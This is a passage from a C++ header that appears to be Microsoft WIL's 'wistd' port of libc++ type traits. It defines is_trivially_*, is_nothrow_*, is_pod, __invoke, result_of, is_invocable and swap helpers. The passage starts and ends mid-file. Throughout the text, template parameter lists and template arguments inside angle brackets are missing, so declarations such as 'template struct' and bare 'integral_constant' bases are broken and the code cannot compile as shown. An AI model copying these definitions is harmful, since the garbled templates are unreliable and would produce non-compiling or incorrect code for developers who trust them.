is_trivially_move_constructible\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n : public is_trivially_constructible<_Tp, typename add_rvalue_reference<_Tp>::type>\n#else\n : public is_trivially_copy_constructible<_Tp>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_move_constructible_v\n = is_trivially_move_constructible<_Tp>::value;\n#endif\n\n // is_trivially_assignable\n\n#if __WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE || __WI_GNUC_VER >= 501\n\n template \n struct is_trivially_assignable\n : integral_constant\n {\n };\n\n#else // !__WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE\n\n template \n struct is_trivially_assignable\n : public false_type {};\n\n template \n struct is_trivially_assignable<_Tp&, _Tp>\n : integral_constant::value> {};\n\n template \n struct is_trivially_assignable<_Tp&, _Tp&>\n : integral_constant::value> {};\n\n template \n struct is_trivially_assignable<_Tp&, const _Tp&>\n : integral_constant::value> {};\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n struct is_trivially_assignable<_Tp&, _Tp&&>\n : integral_constant::value> {};\n\n#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n#endif // !__WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_assignable_v\n = is_trivially_assignable<_Tp, _Arg>::value;\n#endif\n\n // is_trivially_copy_assignable\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_copy_assignable\n : public is_trivially_assignable::type,\n typename add_lvalue_reference::type>::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_copy_assignable_v\n = is_trivially_copy_assignable<_Tp>::value;\n#endif\n\n // is_trivially_move_assignable\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_move_assignable\n : public is_trivially_assignable::type,\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n typename add_rvalue_reference<_Tp>::type>\n#else\n typename add_lvalue_reference<_Tp>::type>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_move_assignable_v\n = is_trivially_move_assignable<_Tp>::value;\n#endif\n\n // is_trivially_destructible\n\n#if __WI_HAS_FEATURE_HAS_TRIVIAL_DESTRUCTOR || (__WI_GNUC_VER >= 403)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_destructible\n : public integral_constant::value && __has_trivial_destructor(_Tp)> {};\n\n#else\n\n template struct __libcpp_trivial_destructor\n : public integral_constant::value ||\n is_reference<_Tp>::value> {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_destructible\n : public __libcpp_trivial_destructor::type> {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_destructible<_Tp[]>\n : public false_type {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_destructible_v\n = is_trivially_destructible<_Tp>::value;\n#endif\n\n // is_nothrow_constructible\n\n#if 0\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible\n : public integral_constant\n {\n };\n\n#else\n\n#ifndef __WI_LIBCPP_HAS_NO_VARIADICS\n\n#if !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) || (__WI_GNUC_VER >= 407 && __cplusplus >= 201103L)\n\n template struct __libcpp_is_nothrow_constructible;\n\n template \n struct __libcpp_is_nothrow_constructible\n : public integral_constant()...))>\n {\n };\n\n template \n void __implicit_conversion_to(_Tp) noexcept { }\n\n template \n struct __libcpp_is_nothrow_constructible\n : public integral_constant(declval<_Arg>()))>\n {\n };\n\n template \n struct __libcpp_is_nothrow_constructible\n : public false_type\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible\n : __libcpp_is_nothrow_constructible::value, is_reference<_Tp>::value, _Tp, _Args...>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp[_Ns]>\n : __libcpp_is_nothrow_constructible::value, is_reference<_Tp>::value, _Tp>\n {\n };\n\n#else // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT)\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible\n : false_type\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp&&>\n#else\n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp>\n#endif\n#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, const _Tp&>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp&>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n#endif // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT)\n\n#else // __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible\n : false_type\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, __is_construct::__nat,\n __is_construct::__nat>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp,\n __is_construct::__nat>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, const _Tp&,\n __is_construct::__nat>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_constructible<_Tp, _Tp&,\n __is_construct::__nat>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_COPY\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n#endif // __WI_LIBCPP_HAS_NO_VARIADICS\n#endif // __has_feature(is_nothrow_constructible)\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) && !defined(__WI_LIBCPP_HAS_NO_VARIADICS)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_constructible_v\n = is_nothrow_constructible<_Tp, _Args...>::value;\n#endif\n\n // is_nothrow_default_constructible\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_default_constructible\n : public is_nothrow_constructible<_Tp>\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_default_constructible_v\n = is_nothrow_default_constructible<_Tp>::value;\n#endif\n\n // is_nothrow_copy_constructible\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_copy_constructible\n : public is_nothrow_constructible<_Tp,\n typename add_lvalue_reference::type>::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_copy_constructible_v\n = is_nothrow_copy_constructible<_Tp>::value;\n#endif\n\n // is_nothrow_move_constructible\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_move_constructible\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n : public is_nothrow_constructible<_Tp, typename add_rvalue_reference<_Tp>::type>\n#else\n : public is_nothrow_copy_constructible<_Tp>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_move_constructible_v\n = is_nothrow_move_constructible<_Tp>::value;\n#endif\n\n // is_nothrow_assignable\n\n#if !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) || (__WI_GNUC_VER >= 407 && __cplusplus >= 201103L)\n\n template struct __libcpp_is_nothrow_assignable;\n\n template \n struct __libcpp_is_nothrow_assignable\n : public false_type\n {\n };\n\n template \n struct __libcpp_is_nothrow_assignable\n : public integral_constant() = declval<_Arg>()) >\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable\n : public __libcpp_is_nothrow_assignable::value, _Tp, _Arg>\n {\n };\n\n#else // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT)\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable\n : public false_type {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable<_Tp&, _Tp>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN\n : integral_constant {};\n#else\n : integral_constant::value> {};\n#endif\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable<_Tp&, _Tp&>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN\n : integral_constant {};\n#else\n : integral_constant::value> {};\n#endif\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_assignable<_Tp&, const _Tp&>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN\n : integral_constant {};\n#else\n : integral_constant::value> {};\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n struct is_nothrow_assignable<_Tp&, _Tp&&>\n#if __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN\n : integral_constant {};\n#else\n : integral_constant::value> {};\n#endif\n\n#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n#endif // !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT)\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_assignable_v\n = is_nothrow_assignable<_Tp, _Arg>::value;\n#endif\n\n // is_nothrow_copy_assignable\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_copy_assignable\n : public is_nothrow_assignable::type,\n typename add_lvalue_reference::type>::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_copy_assignable_v\n = is_nothrow_copy_assignable<_Tp>::value;\n#endif\n\n // is_nothrow_move_assignable\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_move_assignable\n : public is_nothrow_assignable::type,\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n typename add_rvalue_reference<_Tp>::type>\n#else\n typename add_lvalue_reference<_Tp>::type>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_move_assignable_v\n = is_nothrow_move_assignable<_Tp>::value;\n#endif\n\n // is_nothrow_destructible\n\n#if !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) || (__WI_GNUC_VER >= 407 && __cplusplus >= 201103L)\n\n template struct __libcpp_is_nothrow_destructible;\n\n template \n struct __libcpp_is_nothrow_destructible\n : public false_type\n {\n };\n\n template \n struct __libcpp_is_nothrow_destructible\n : public integral_constant().~_Tp()) >\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible\n : public __libcpp_is_nothrow_destructible::value, _Tp>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp[_Ns]>\n : public is_nothrow_destructible<_Tp>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp&>\n : public true_type\n {\n };\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp&&>\n : public true_type\n {\n };\n\n#endif\n\n#else\n\n template struct __libcpp_nothrow_destructor\n : public integral_constant::value ||\n is_reference<_Tp>::value> {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible\n : public __libcpp_nothrow_destructor::type> {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_destructible<_Tp[]>\n : public false_type {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_nothrow_destructible_v\n = is_nothrow_destructible<_Tp>::value;\n#endif\n\n // is_pod\n\n#if __WI_HAS_FEATURE_IS_POD || (__WI_GNUC_VER >= 403)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_pod\n : public integral_constant {};\n\n#else\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_pod\n : public integral_constant::value &&\n is_trivially_copy_constructible<_Tp>::value &&\n is_trivially_copy_assignable<_Tp>::value &&\n is_trivially_destructible<_Tp>::value> {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_pod_v\n = is_pod<_Tp>::value;\n#endif\n\n // is_literal_type;\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_literal_type\n#ifdef __WI_LIBCPP_IS_LITERAL\n : public integral_constant\n#else\n : integral_constant::type>::value ||\n is_reference::type>::value>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_literal_type_v\n = is_literal_type<_Tp>::value;\n#endif\n\n // is_standard_layout;\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_standard_layout\n#if __WI_HAS_FEATURE_IS_STANDARD_LAYOUT || (__WI_GNUC_VER >= 407)\n : public integral_constant\n#else\n : integral_constant::type>::value>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_standard_layout_v\n = is_standard_layout<_Tp>::value;\n#endif\n\n // is_trivially_copyable;\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_copyable\n#if __WI_HAS_FEATURE_IS_TRIVIALLY_COPYABLE\n : public integral_constant\n#elif __WI_GNUC_VER >= 501\n : public integral_constant::value && __is_trivially_copyable(_Tp)>\n#else\n : integral_constant::type>::value>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_copyable_v\n = is_trivially_copyable<_Tp>::value;\n#endif\n\n // is_trivial;\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivial\n#if __WI_HAS_FEATURE_IS_TRIVIAL || __WI_GNUC_VER >= 407\n : public integral_constant\n#else\n : integral_constant::value &&\n is_trivially_default_constructible<_Tp>::value>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivial_v\n = is_trivial<_Tp>::value;\n#endif\n\n template struct __is_reference_wrapper_impl : public false_type {};\n template struct __is_reference_wrapper_impl > : public true_type {};\n template struct __is_reference_wrapper\n : public __is_reference_wrapper_impl::type> {};\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n\n template ::type,\n class _DecayA0 = typename decay<_A0>::type,\n class _ClassT = typename __member_pointer_class_type<_DecayFp>::type>\n using __enable_if_bullet1 = typename enable_if\n <\n is_member_function_pointer<_DecayFp>::value\n && is_base_of<_ClassT, _DecayA0>::value\n >::type;\n\n template ::type,\n class _DecayA0 = typename decay<_A0>::type>\n using __enable_if_bullet2 = typename enable_if\n <\n is_member_function_pointer<_DecayFp>::value\n && __is_reference_wrapper<_DecayA0>::value\n >::type;\n\n template ::type,\n class _DecayA0 = typename decay<_A0>::type,\n class _ClassT = typename __member_pointer_class_type<_DecayFp>::type>\n using __enable_if_bullet3 = typename enable_if\n <\n is_member_function_pointer<_DecayFp>::value\n && !is_base_of<_ClassT, _DecayA0>::value\n && !__is_reference_wrapper<_DecayA0>::value\n >::type;\n\n template ::type,\n class _DecayA0 = typename decay<_A0>::type,\n class _ClassT = typename __member_pointer_class_type<_DecayFp>::type>\n using __enable_if_bullet4 = typename enable_if\n <\n is_member_object_pointer<_DecayFp>::value\n && is_base_of<_ClassT, _DecayA0>::value\n >::type;\n\n template ::type,\n class _DecayA0 = typename decay<_A0>::type>\n using __enable_if_bullet5 = typename enable_if\n <\n is_member_object_pointer<_DecayFp>::value\n && __is_reference_wrapper<_DecayA0>::value\n >::type;\n\n template ::type,\n class _DecayA0 = typename decay<_A0>::type,\n class _ClassT = typename __member_pointer_class_type<_DecayFp>::type>\n using __enable_if_bullet6 = typename enable_if\n <\n is_member_object_pointer<_DecayFp>::value\n && !is_base_of<_ClassT, _DecayA0>::value\n && !__is_reference_wrapper<_DecayA0>::value\n >::type;\n\n // __invoke forward declarations\n\n // fall back - none of the bullets\n\n#define __WI_LIBCPP_INVOKE_RETURN(...) \\\n __WI_NOEXCEPT_(__WI_NOEXCEPT_(__VA_ARGS__)) -> decltype(__VA_ARGS__) \\\n { return __VA_ARGS__; }\n\n template \n auto __invoke(__any, _Args&& ...__args) -> __nat;\n\n template \n auto __invoke_constexpr(__any, _Args&& ...__args) -> __nat;\n\n // bullets 1, 2 and 3\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _A0&& __a0, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN((wistd::forward<_A0>(__a0).*__f)(wistd::forward<_Args>(__args)...))\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _A0&& __a0, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN((wistd::forward<_A0>(__a0).*__f)(wistd::forward<_Args>(__args)...))\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _A0&& __a0, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN((__a0.get().*__f)(wistd::forward<_Args>(__args)...))\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _A0&& __a0, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN((__a0.get().*__f)(wistd::forward<_Args>(__args)...))\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _A0&& __a0, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN(((*wistd::forward<_A0>(__a0)).*__f)(wistd::forward<_Args>(__args)...))\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _A0&& __a0, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN(((*wistd::forward<_A0>(__a0)).*__f)(wistd::forward<_Args>(__args)...))\n\n // bullets 4, 5 and 6\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _A0&& __a0)\n __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_A0>(__a0).*__f)\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _A0&& __a0)\n __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_A0>(__a0).*__f)\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _A0&& __a0)\n __WI_LIBCPP_INVOKE_RETURN(__a0.get().*__f)\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _A0&& __a0)\n __WI_LIBCPP_INVOKE_RETURN(__a0.get().*__f)\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _A0&& __a0)\n __WI_LIBCPP_INVOKE_RETURN((*wistd::forward<_A0>(__a0)).*__f)\n\n template >\n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _A0&& __a0)\n __WI_LIBCPP_INVOKE_RETURN((*wistd::forward<_A0>(__a0)).*__f)\n\n // bullet 7\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n auto\n __invoke(_Fp&& __f, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_Fp>(__f)(wistd::forward<_Args>(__args)...))\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR auto\n __invoke_constexpr(_Fp&& __f, _Args&& ...__args)\n __WI_LIBCPP_INVOKE_RETURN(wistd::forward<_Fp>(__f)(wistd::forward<_Args>(__args)...))\n\n#undef __WI_LIBCPP_INVOKE_RETURN\n\n // __invokable\n\n template \n struct __invokable_r\n {\n // FIXME: Check that _Ret, _Fp, and _Args... are all complete types, cv void,\n // or incomplete array types as required by the standard.\n using _Result = decltype(\n __invoke(declval<_Fp>(), declval<_Args>()...));\n\n using type =\n typename conditional<\n !is_same<_Result, __nat>::value,\n typename conditional<\n is_void<_Ret>::value,\n true_type,\n is_convertible<_Result, _Ret>\n >::type,\n false_type\n >::type;\n static const bool value = type::value;\n };\n\n template \n using __invokable = __invokable_r;\n\n template \n struct __nothrow_invokable_r_imp {\n static const bool value = false;\n };\n\n template \n struct __nothrow_invokable_r_imp\n {\n typedef __nothrow_invokable_r_imp _ThisT;\n\n template \n static void __test_noexcept(_Tp) noexcept;\n\n static const bool value = noexcept(_ThisT::__test_noexcept<_Ret>(\n __invoke(declval<_Fp>(), declval<_Args>()...)));\n };\n\n template \n struct __nothrow_invokable_r_imp\n {\n static const bool value = noexcept(\n __invoke(declval<_Fp>(), declval<_Args>()...));\n };\n\n template \n using __nothrow_invokable_r =\n __nothrow_invokable_r_imp<\n __invokable_r<_Ret, _Fp, _Args...>::value,\n is_void<_Ret>::value,\n _Ret, _Fp, _Args...\n >;\n\n template \n using __nothrow_invokable =\n __nothrow_invokable_r_imp<\n __invokable<_Fp, _Args...>::value,\n true, void, _Fp, _Args...\n >;\n\n template \n struct __invoke_of\n : public enable_if<\n __invokable<_Fp, _Args...>::value,\n typename __invokable_r::_Result>\n {\n };\n\n // result_of\n\n template \n class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fp(_Args...)>\n : public __invoke_of<_Fp, _Args...>\n {\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template using result_of_t = typename result_of<_Tp>::type;\n#endif\n\n#if __WI_LIBCPP_STD_VER > 14\n\n // invoke_result\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS invoke_result\n : __invoke_of<_Fn, _Args...>\n {\n };\n\n template \n using invoke_result_t = typename invoke_result<_Fn, _Args...>::type;\n\n // is_invocable\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_invocable\n : integral_constant::value> {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_invocable_r\n : integral_constant::value> {};\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_invocable_v\n = is_invocable<_Fn, _Args...>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_invocable_r_v\n = is_invocable_r<_Ret, _Fn, _Args...>::value;\n\n // is_nothrow_invocable\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_invocable\n : integral_constant::value> {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_invocable_r\n : integral_constant::value> {};\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_invocable_v\n = is_nothrow_invocable<_Fn, _Args...>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_invocable_r_v\n = is_nothrow_invocable_r<_Ret, _Fn, _Args...>::value;\n\n#endif // __WI_LIBCPP_STD_VER > 14\n\n#endif // !defined(__WI_LIBCPP_CXX03_LANG)\n\n template struct __is_swappable;\n template struct __is_nothrow_swappable;\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n#ifndef __WI_LIBCPP_CXX03_LANG\n typename enable_if\n <\n is_move_constructible<_Tp>::value &&\n is_move_assignable<_Tp>::value\n >::type\n#else\n void\n#endif\n swap_wil(_Tp& __x, _Tp& __y) __WI_NOEXCEPT_(is_nothrow_move_constructible<_Tp>::value &&\n is_nothrow_move_assignable<_Tp>::value)\n {\n _Tp __t(wistd::move(__x));\n __x = wistd::move(__y);\n __y = wistd::move(__t);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n _ForwardIterator2\n swap_ranges_wil(_ForwardIterator1 __first1, _ForwardIterator1 __last1, _ForwardIterator2 __first2)\n {\n for(; __first1 != __last1; ++__first1, (void) ++__first2)\n swap_wil(*__first1, *__first2);\n return __first2;\n }\n\n template\n inline __WI_LIBCPP_INLINE_VISIBILITY\n typename enable_if<\n __is_swappable<_Tp>::value\n >::type\n swap_wil(_Tp (&__a)[_Np], _Tp (&__b)[_Np]) __WI_NOEXCEPT_(__is_nothrow_swappable<_Tp>::value)\n {\n wistd::swap_ranges_wil(__a, __a + _Np, __b);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n void\n iter_swap_wil(_ForwardIterator1 __a, _ForwardIterator2 __b)\n // __WI_NOEXCEPT_(__WI_NOEXCEPT_(swap_wil(*__a, *__b)))\n __WI_NOEXCEPT_(__WI_NOEXCEPT_(swap_wil(*declval<_ForwardIterator1>(),\n *declval<_ForwardIterator2>())))\n {\n swap_wil(*__a, *__b);\n }\n\n // __swappable\n\n namespace __detail\n {\n // ALL generic swap overloads MUST already have a declaration available at this point.\n\n template ::value && !is_void<_Up>::value>\n struct __swappable_with\n {\n template \n static decltype(swap_wil(declval<_LHS>(), declval<_RHS>()))\n __test_swap(int);\n template \n static __nat __test_swap(long);\n\n // Extra parens are needed for the C++03 definition of decltype.\n typedef decltype((__test_swap<_Tp, _Up>(0))) __swap1;\n typedef decltype((__test_swap<_Up, _Tp>(0))) __swap2;\n\n static const bool value = !is_same<__swap1, __nat>::value\n && !is_same<__swap2, __nat>::value;\n };\n\n template \n struct __swappable_with<_Tp, _Up, false> : false_type {};\n\n template ::value>\n struct __nothrow_swappable_with {\n static const bool value =\n#ifndef __WI_LIBCPP_HAS_NO_NOEXCEPT\n noexcept(swap_wil(declval<_Tp>(), declval<_Up>()))\n && noexcept(swap_wil(declval<_Up>(), declval<_Tp>()));\n#else\n false;\n#endif\n };\n\n template \n struct __nothrow_swappable_with<_Tp, _Up, false> : false_type {};\n\n } // __detail\n\n template \n struct __is_swappable\n : public integral_constant::value>\n {\n };\n\n template \n struct __is_nothrow_swappable\n : public integral_constant::value>\n {\n };\n\n#if __WI_LIBCPP_STD_VER > 14\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_swappable_with\n : public integral_constant::value>\n {\n };\n\n template \n struct 